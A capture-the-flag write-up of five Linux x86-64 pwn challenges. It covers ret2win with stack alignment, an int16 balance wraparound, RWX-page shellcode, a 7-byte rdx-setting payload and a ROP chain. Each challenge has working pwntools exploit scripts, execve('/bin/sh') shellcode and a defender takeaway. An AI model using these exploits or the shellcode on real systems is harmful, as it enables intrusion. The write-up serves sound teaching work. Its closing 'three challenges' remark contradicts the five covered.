HASBL CTF 2026 is a multi-category jeopardy event with Reverse Engineering, Pwn, Web, and Forensics tracks. This writeup is dedicated to the Pwn track — the five pwn challenges (baby-bufferoverflow, candy-store, baby-shellcoder, jumper, padawan-pwn) were all solved, and each one teaches a different beginner-to-intermediate binary-exploitation primitive: ret2win with the movaps 16-byte stack-alignment trap, a signed-vs-unsigned integer-width bug exploitable via menu interaction, direct shellcode execution on an mmap’d RWX page, a 7-byte shellcode budget that has to set rdx for a hard-coded jmp rdx into the binary’s own gadget chain, and a full ROP chain that loads three argument registers before calling a flag-printing function.
This is the master writeup for the pwn track. Each challenge below covers the binary’s mitigations, the vulnerability, the exploit chain, and the recovered flag. Full per-challenge reproductions — solver scripts, disassembly listings, and pwntools payloads — live in the source repository: Abdelkad3r/hasblctf-2026.
The pwn track at a glance
| Challenge | Target | Mitigations | Core technique |
|---|---|---|---|
| baby-bufferoverflow | Linux x86-64 ELF, not PIE, NX, no canary | Partial RELRO, no canary, no PIE | Ret2win at 40-byte offset + 1-gadget ret for 16-byte stack alignment |
| candy-store | Linux x86-64 PIE ELF, dynamic | Partial RELRO, NX, PIE | int16_t balance + signed jg comparison → wrap below INT16_MIN → buy flag |
| baby-shellcoder | Linux x86-64 PIE ELF, dynamic | NX on (irrelevant), mmap creates RWX page | 64-byte shellcode into mmap’d RWX page, execve("/bin/sh") |
| jumper | Linux x86-64 ELF, stripped, dynamic | Single RWX PT_LOAD, mmap page is RWX | 7-byte shellcode: mov edx, 0x401284 + 2× NOP → hard-coded jmp rdx lands in binary’s pre-built gadget chain |
| padawan-pwn | Linux x86-64 ELF, not PIE, NX, no canary | Partial RELRO, NX, no PIE, no canary | 40-byte BOF + ROP chain: pop rdi/rsi/rdx magic constants + alignment ret + strike() which prints flag.txt |
Methodology — a pwn checklist
The general jeopardy framework (recon → enumeration → exploitation → flag) carries the engagement, but the pwn track has a more specific four-step shape:
- Triage.
filefor arch/format,checksecfor mitigations (PIE, canary, RELRO, NX),stringsto find anything that looks like awinfunction or a flag-handling string (flag.txt,printf("Here's your flag")),nmto enumerate symbols. The mitigations row tells you what kinds of exploit are possible before you read a single instruction. - Static analysis. Find the input sink (
read,fgets,scanf,gets), measure the offset to the saved return address fromrbp - <displacement>, identify the win path (whether it’s a hidden function, a syscall sled, or a primitive you build via ROP). - Exploit development. Build the payload in pwntools. For ret2win-class challenges,
p64(ret_gadget) + p64(win)is the standard alignment fix on x86-64. For shellcode-class challenges, prefer 26-byteexecve("/bin/sh")shellcode for maximum portability. - Trigger and capture. Send the payload, read the flag off the socket. For interactive challenges (
candy-store’s menu loop), automate the protocol withrecvuntil/sendline.
checksec. No PIE means fixed addresses for win and gadgets — you can hard-code them. No canary means stack BoF is reachable directly. No RELRO / Partial RELRO opens GOT overwrite. No NX would mean stack shellcode (rare in modern challenges). For HASBL CTF 2026 the five challenges split into two camps on PIE — baby-bufferoverflow and padawan-pwn are no-PIE (fixed addresses, ROP-friendly) while candy-store, baby-shellcoder, and jumper are PIE or use RWX-page primitives that sidestep ASLR entirely.baby-bufferoverflow — ret2win, but mind the movaps
$ file main
ELF 64-bit LSB executable, x86-64, dynamically linked, not stripped
$ checksec --file=main
Partial RELRO | No canary found | NX enabled | No PIE
No PIE + no canary + a read that overflows. Two functions of interest:
sym.win @ 0x00401166 // opens flag.txt, reads, printfs it
main @ 0x0040131d // puts banner, read(0, buf @ rbp-0x20, 0x40)
The vulnerability
main’s local buffer is 32 bytes (rbp - 0x20), but read accepts 64 bytes:
sub rsp, 0x20 ; 32-byte local
lea rsi, [buf = rbp-0x20]
mov edx, 0x40 ; 64 bytes!
call read ; read(0, buf, 0x40)
leave
ret ; <-- attacker controls RIP
Offset to saved RIP: 0x20 (buffer) + 8 (saved rbp) = 40 bytes. With no PIE, win’s address is fixed at 0x00401166. Naïve exploit:
payload = b"A"*40 + p64(0x00401166) # ← SIGSEGVs
The movaps trap
Returning directly into win SIGSEGVs inside printf. Why?
The x86-64 ABI requires rsp to be 16-byte aligned at the entry to a function. When you call a function normally, call pushes the return address (8 bytes), which means inside the callee rsp is 16-aligned + 8 — i.e. 8-aligned only. The function’s prologue typically does push rbp; sub rsp, N which restores 16-alignment.
When you ret into a function instead of call-ing it, you skip the call’s push. rsp is now off by 8 bytes from where the prologue expects it. The prologue still does push rbp; sub rsp, N, but N is chosen assuming the call adjusted alignment — so now rsp is misaligned at the moment win itself calls printf. Inside printf, the compiler emits movaps xmm*, [rsp+offset] to spill XMM registers, and movaps SIGSEGVs on misaligned addresses.
The fix is one extra ret gadget before win to absorb 8 bytes and restore the alignment:
ret_gadget = 0x00401350 # any bare `ret` in the binary
win = 0x00401166
payload = b"A"*40 + p64(ret_gadget) + p64(win)
$ ./solve.py
HASBL{B4BY_5H4RK5_F1R5T_0V3RFL0W}
Flag: HASBL{B4BY_5H4RK5_F1R5T_0V3RFL0W}
Pwn takeaway: every x86-64 ret2win after Ubuntu 18.04 needs the alignment gadget. The bug isn’t your offset; it’s movaps. Keep a known-good ret gadget address in your pwntools template, alongside the win address. The “challenge” of baby-bufferoverflow isn’t finding the overflow — it’s hitting the alignment fix on the first attempt.
Defender takeaway: if your binary needs to ship without PIE for any reason (debugging, legacy compatibility), enable canary and full RELRO. The combination no PIE + no canary is what makes the ret2win one-line. Enabling either would force the attacker into a leak primitive first.
candy-store — int16 balance, signed-int comparison, buy the flag
$ file main
ELF 64-bit LSB pie executable, x86-64, dynamically linked, not stripped
A candy-shop menu. Start with $1337. Three items:
1- Chocolate: $65
2- Turkish Delight: $250
3- FLAG: $32,400
4- Exit
Choices 1 and 2 only subtract from your balance. Choice 3 gates on bal > 32399. The naïve read says it’s unsolvable — you can never get rich enough to afford the flag.
The vulnerability
The balance is stored as int16_t but printed as int:
int16_t bal = 1337;
if (choice == 1) bal -= 65; // chocolate
if (choice == 2) bal -= 250; // turkish delight
if (choice == 3) {
if (bal > 32399 /* signed comparison */) {
bal -= 32400;
win();
}
}
printf("[!] Current balance: %d\n", (int)bal); // sign-extended
The disassembly confirms it:
mov word [var_2h], 0x539 ; bal = 1337 (16-bit word)
...
mov ax, word [var_2h]
sub ax, 0xfa ; -250 (turkish delight)
mov word [var_2h], ax
...
cmp word [var_2h], 0x7E8F ; compare 16-bit balance against 32399
jg .buy_flag ; SIGNED jg
...
movsx eax, word [var_2h] ; sign-extend int16 -> int32 for printf
The exploit — make the balance wrap
int16_t ranges [-32768, 32767]. Subtract enough that the balance dips below INT16_MIN; the next store wraps it into the high-positive half of the range. Specifically, you want the final value to land in [32400, 32767] so the signed jg 0x7E8F passes.
Solve the modular equation: (1337 − K) mod 65536 ∈ [32400, 32767] means K ∈ [34106, 34473].
Turkish Delights at $250 each: 250 × 137 = 34250 ∈ [34106, 34473] ✓.
So 137 Turkish Delights wraps the balance to (1337 − 34250) mod 65536 = +32623. Then send choice 3:
from pwn import remote
io = remote("34.77.68.154", 10003)
for _ in range(137):
io.sendlineafter(b"choice", b"2") # Turkish Delight
io.sendlineafter(b"choice", b"3") # buy FLAG
print(io.recvall(timeout=2).decode())
# HASBL{Turk1sh_D3l1ght_15_Th3_B35t}
Flag: HASBL{Turk1sh_D3l1ght_15_Th3_B35t}
Pwn takeaway: when a numeric field is stored at one width but compared and printed at a wider width, you have a type-confusion bug at every comparison and every display. The printed value sign-extends from int16 to int, which means the menu UI honestly shows you the wrapped negative balance after the underflow — you just keep buying past it until the wrap lands you in the win region.
Defender takeaway: in C/C++ code, never mix integer widths in security-relevant comparisons. The <stdint.h> discipline (int32_t, uint16_t) plus -Wsign-compare plus -Wconversion catches most of these at compile time. In Rust, the type system rejects the mixed comparison outright. Use one of those.
baby-shellcoder — the binary builds the runway
$ file main
ELF 64-bit LSB pie executable, x86-64, dynamically linked, not stripped
The “vulnerability” isn’t really a vulnerability — the binary actively hands you the keys. Its main is six lines of C:
int main(void) {
void *addr = mmap(NULL, 0x40,
PROT_READ|PROT_WRITE|PROT_EXEC, // 7
MAP_PRIVATE|MAP_ANONYMOUS, // 0x22
-1, 0);
if (addr == MAP_FAILED) { perror("mmap failed: "); return -1; }
puts("Kept you waiting huh?");
read(0, addr, 0x40);
((void(*)())addr)(); // ← user's 64 bytes run as code
munmap(addr, 0x40);
return 0;
}
prot = 7 is the smoking gun — PROT_READ | PROT_WRITE | PROT_EXEC. The mmap’d page is RWX even if the stack is NX. Read 64 bytes from stdin into it, call rdx jumps in.
The exploit — 26 bytes of execve("/bin/sh")
The classic Linux x86-64 shellcode for execve("/bin/sh", NULL, NULL) is 26 bytes — well under the 64-byte budget. No bad-byte filter, no alignment requirement we care about, no register state we need to preserve.
xor rsi, rsi ; envp = NULL
push rsi ; '\0' terminator for "/bin/sh"
movabs rdi, 0x0068732f6e69622f ; "/bin/sh\0" (LE)
push rdi
mov rdi, rsp ; argv = ptr to "/bin/sh"
push rsi ; argv[1] = NULL
push rdi ; argv[0] = "/bin/sh"
mov rsi, rsp ; rsi = argv
xor rdx, rdx ; envp = NULL
mov al, 0x3b ; syscall 59 = execve
syscall
The wrapper around the service is socat-style — stdin/stdout/stderr are the socket — so the shell pops live on the same connection. cat flag.txt returns the flag.
from pwn import remote, asm, context
context.arch = "amd64"
shellcode = asm("""
xor rsi, rsi
push rsi
movabs rdi, 0x0068732f6e69622f
push rdi
mov rdi, rsp
push rsi
push rdi
mov rsi, rsp
xor rdx, rdx
mov al, 0x3b
syscall
""")
io = remote("34.77.68.154", 10002)
io.recvuntil(b"huh?")
io.send(shellcode.ljust(0x40, b"\x90"))
io.sendline(b"cat flag.txt")
print(io.recvline().decode())
# HASBL{K3PT_Y0U_W41T1NG_HUH}
Flag: HASBL{K3PT_Y0U_W41T1NG_HUH}
Pwn takeaway: the four mmap constants (length, prot, flags, fd) tell you everything before you read any instructions. prot = 7 means W^X has been explicitly broken; flags = 0x22 (MAP_PRIVATE | MAP_ANONYMOUS) means the page is a clean anonymous mapping; fd = -1 confirms anonymous. The follow-up call rdx after read into that page is the launch ramp. When you see these four constants together, you don’t need to find an exploit — you write the code that runs.
Defender takeaway: if your application legitimately needs JIT, mprotect between W and X — never both. The 2026 surface includes browsers, .NET, JVM, V8, sqlite-r1, and several anti-cheat systems, all of which toggle W^X around code generation. Static RWX pages are a 20-year-old anti-pattern.
jumper — 7-byte shellcode that sets rdx for a hard-coded jmp rdx
$ file jumper
ELF 64-bit LSB executable, x86-64, dynamically linked, stripped
A stripped Linux ELF whose one trick is the shellcode budget is 7 bytes, and the binary then patches its own jmp rdx (opcode ff e2) at offset 7. The 7 bytes you control are followed by an indirect jump through whatever rdx happens to contain at that moment.
main’s 9-byte runway
; mmap(NULL, 9, PROT_R|W|X, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
mov edx, 0x07 ; prot
mov esi, 9 ; length
call mmap@plt
; memset(page, 0, 9)
call memset@plt
; read(0, page, 7) ← attacker's 7 bytes
mov edx, 7
call read@plt
; page[7] = 0xff
; page[8] = 0xe2 ← `jmp rdx`
mov byte [rax + 7], 0xff
mov byte [rax + 8], 0xe2
; call page
call rax
The page layout at the moment of call rax:
+--------+----------------------+
| 0..6 | 7 attacker bytes |
+--------+----------------------+
| 7..8 | ff e2 (jmp rdx) |
+--------+----------------------+
What is rdx right then?
The last write to rdx was the mov edx, 7 before the read call. Glibc’s read PLT trampoline doesn’t write back to rdx after returning, so when control reaches the patched jmp rdx, rdx is still 7. Jumping to absolute address 7 is an instant SIGSEGV.
So the 7 attacker bytes have to load a useful value into rdx before the patched jump fires.
What’s at a useful address?
The binary’s single PT_LOAD segment is mapped R|W|E — the entire .text is executable and writable. Reading the .text disassembly with objdump -d reveals a hand-built shellcode chain whose blocks are independently disassemblable. The chain’s entry point is 0x401284; running through it ends in execve("/bin/sh", NULL, NULL).
The 7-byte payload
ba 84 12 40 00 mov edx, 0x401284
90 90 nop ; nop ; padding to 7 bytes
--- binary patches ff e2 here ---
jmp rdx → 0x401284
from pwn import remote, asm, context
context.arch = "amd64"
payload = asm("mov edx, 0x401284") + b"\x90\x90" # 7 bytes exactly
assert len(payload) == 7
io = remote("34.77.68.154", 10004)
io.send(payload)
io.sendline(b"cat flag.txt")
print(io.recvline().decode())
# HASBL{C4N_Y0U_FLY?_N0_JUMP_G00D}
Flag: HASBL{C4N_Y0U_FLY?_N0_JUMP_G00D}
Pwn takeaway: when a binary hands you an indirect jump primitive through a CPU register, the value the register held going into the primitive is part of the API. Tracing rdx’s last write through main (the third mov argument to read) tells you the default landing site (7, instant crash) which then tells you the actual challenge: rewrite rdx in your 7-byte budget. The whole binary being one big RWX PT_LOAD with a pre-staged gadget chain is the “trampoline” — the author built a runway you have to taxi onto.
Defender takeaway: never mark .text writable in production. The single-RWX-PT_LOAD pattern shows up in some obfuscators and in JIT-heavy applications that take shortcuts; in both cases, an indirect-jump primitive plus a known register state turns the whole binary into a gadget store.
padawan-pwn — classic ROP chain into a flag-printing function
$ file padawan
ELF 64-bit LSB, x86-64, not stripped
$ nm padawan | grep ' [Tt] '
0000000000401186 T strike ← opens flag.txt and printfs it
000000000040133f T main
00000000004013b0 T attack ← contains pop-gadgets
00000000004013c1 T dodge ← contains pop-gadgets
00000000004013d9 T finish ← contains pop-gadgets
NX on, no PIE, no canary, not stripped, plus several invitingly-named functions that aren’t called from anywhere. Those uncalled functions are the gadget mines — the author hid pop-reg gadgets inside dummy story functions.
The overflow
401346: subq $0x20, %rsp ; 32-byte buffer at [rbp-0x20]
…banner…
401376: movl $0x80, %edx ; read 128 bytes
40137e: callq read@plt ; into a 32-byte buffer
128-byte read into a 32-byte buffer. Stack layout from rbp:
rbp - 0x20 +----------------+ ← buf (32 bytes)
| user input |
rbp + 0x00 +----------------+ ← saved rbp (8 bytes)
rbp + 0x08 +----------------+ ← saved rip (8 bytes; hijack here)
| caller frame |
+----------------+
Offset to saved RIP: 0x20 + 8 = 40 bytes.
The win function — strike(rdi, rsi, rdx)
strike saves its three argument registers, then open("flag.txt", O_RDONLY), read(fd, buf, 0x100), puts(buf). The arguments aren’t actually used for anything functional in the path that prints the flag — they’re a flavour gate, set to magic constants in the brief’s story. The author wants you to load rdi=0xDEADCAFE, rsi=0xCAFEBABE, rdx=0xDEADC0DE even though strike doesn’t strictly require them.
Gadgets hidden in dummy functions
0x4013bf: pop rdi ; ret
0x4013c0: ret ← alignment gadget
0x4013d7: pop rsi ; ret
0x4013de: pop rdx ; ret
Standard ropper / ROPgadget output finds these instantly. The bare ret at 0x4013c0 is the 16-byte alignment fix discussed in baby-bufferoverflow.
The ROP chain
[ 40 bytes 'A' padding ]
[ 0x4013bf pop rdi ; ret ]
[ 0xDEADCAFE ]
[ 0x4013d7 pop rsi ; ret ]
[ 0xCAFEBABE ]
[ 0x4013de pop rdx ; ret ]
[ 0xDEADC0DE ]
[ 0x4013c0 ret (alignment) ]
[ 0x401186 strike ]
In pwntools:
from pwn import remote, p64
PADDING = b"A" * 40
POP_RDI = p64(0x4013bf)
POP_RSI = p64(0x4013d7)
POP_RDX = p64(0x4013de)
ALIGN_RET = p64(0x4013c0)
STRIKE = p64(0x401186)
payload = PADDING
payload += POP_RDI + p64(0xDEADCAFE)
payload += POP_RSI + p64(0xCAFEBABE)
payload += POP_RDX + p64(0xDEADC0DE)
payload += ALIGN_RET
payload += STRIKE
io = remote("34.77.68.154", 10005)
io.recvuntil(b"what you got:")
io.sendline(payload)
print(io.recvall(timeout=2).decode())
# HASBL{M4Y_7H3_F0RC3_B3_W17H_Y0U}
Flag: HASBL{M4Y_7H3_F0RC3_B3_W17H_Y0U}
Pwn takeaway: classic ROP is just a list of return addresses interleaved with the values those gadgets pop. Each pop reg ; ret consumes 8 bytes of stack for its data; chain enough of them, then end with the win function’s address. The SysV ABI maps argument registers rdi, rsi, rdx, rcx, r8, r9 — the first three are the most common chain targets. Hidden uncalled functions (attack, dodge, finish) being gadget mines is a recurring CTF design pattern — they exist only to ship the gadgets without spending real stack frames on them.
Defender takeaway: the combination no-PIE + no-canary + uncalled-functions-with-pop-reg-ret-suffixes is a guaranteed ROP target. Strip dead functions at link time (-Wl,--gc-sections plus -ffunction-sections -fdata-sections); enable PIE so addresses aren’t predictable; enable stack canaries so the overflow has to leak first.
Lessons learned — what HASBLCTF 2026 pwn rewarded
Six patterns recur across these five pwn solves; they’re the meat of the early pwn curriculum:
checksecis the first tool, not the last. The mitigation row decides which exploit class is even possible.baby-bufferoverflowandpadawan-pwn’s no-PIE-no-canary opens the door for ret2win and ROP;candy-store’s PIE doesn’t matter because the bug is logical, not corruption-based;baby-shellcoderandjumpermake mitigations irrelevant bymmap-ing their own RWX pages.- The
movaps16-byte alignment is the one detail beginners miss. Every modern x86-64 ret2win needs a single bare-retgadget before thewinaddress — and the same fix recurs inpadawan-pwn’s ROP chain. Bake it into your pwntools template; you’ll thank yourself on the next CTF. - Integer width is a security boundary.
candy-storeis not a stack-corruption challenge — it’s a type-confusion challenge dressed up as a candy shop. Theint16_tbalance + signedjg+int-cast display is the same class of bug that hit OpenSSL’slengthchecks for years. - Read
mmap’s arguments before you read its caller. Four constants —length, prot, flags, fd— describe the security posture of the page in one line.PROT_EXECset +MAP_ANONYMOUSset +fd=-1means “the binary built the shellcode runway for you.”baby-shellcoderandjumperare both built on this pattern; that pattern recurs in commercial software too, in JIT engines and game anti-cheats, and the assessment template is identical. - Indirect jumps consume whichever register the caller left set.
jumper’s patchedjmp rdxis the whole challenge: the binary loadsedx = 7to callread, glibc never writes back tordx, so the indirect jump lands at absolute address7(SIGSEGV) unless you spend your 7-byte budget rewritingrdx. Whenever a binary uses register-controlled indirect jumps, treat the register state at the jump point as a contract you need to forge. - ROP is a list of return addresses.
padawan-pwn’s chain ispop rdi; ret→ constant →pop rsi; ret→ constant →pop rdx; ret→ constant → alignmentret→strike(). Each gadget consumes 8 bytes of stack for its operand; chain them and end with the win function. Uncalled functions in the symbol table (attack,dodge,finish) are gadget mines, not story content.
Source repository
Every per-challenge writeup includes pwntools solver scripts, full disassembly listings, and the alignment / wrap / shellcode payload notes:
Repo: github.com/Abdelkad3r/hasblctf-2026
The repo also contains the reverse engineering, forensics (Quick Response, Logo, Digits, pamuk, magic-numbers), and web (T/I Forum, Anatolian Atlas) writeups from the same event. This article is scoped to the pwn category only.
If you’re building a pwn learning progression from this writeup, the three challenges form a clean order: baby-shellcoder (no mitigations matter) → baby-bufferoverflow (one mitigation gap + alignment trap) → candy-store (logic bug, no corruption needed). That order maps to “see the runway” → “build the runway” → “abuse the rules of the road.”
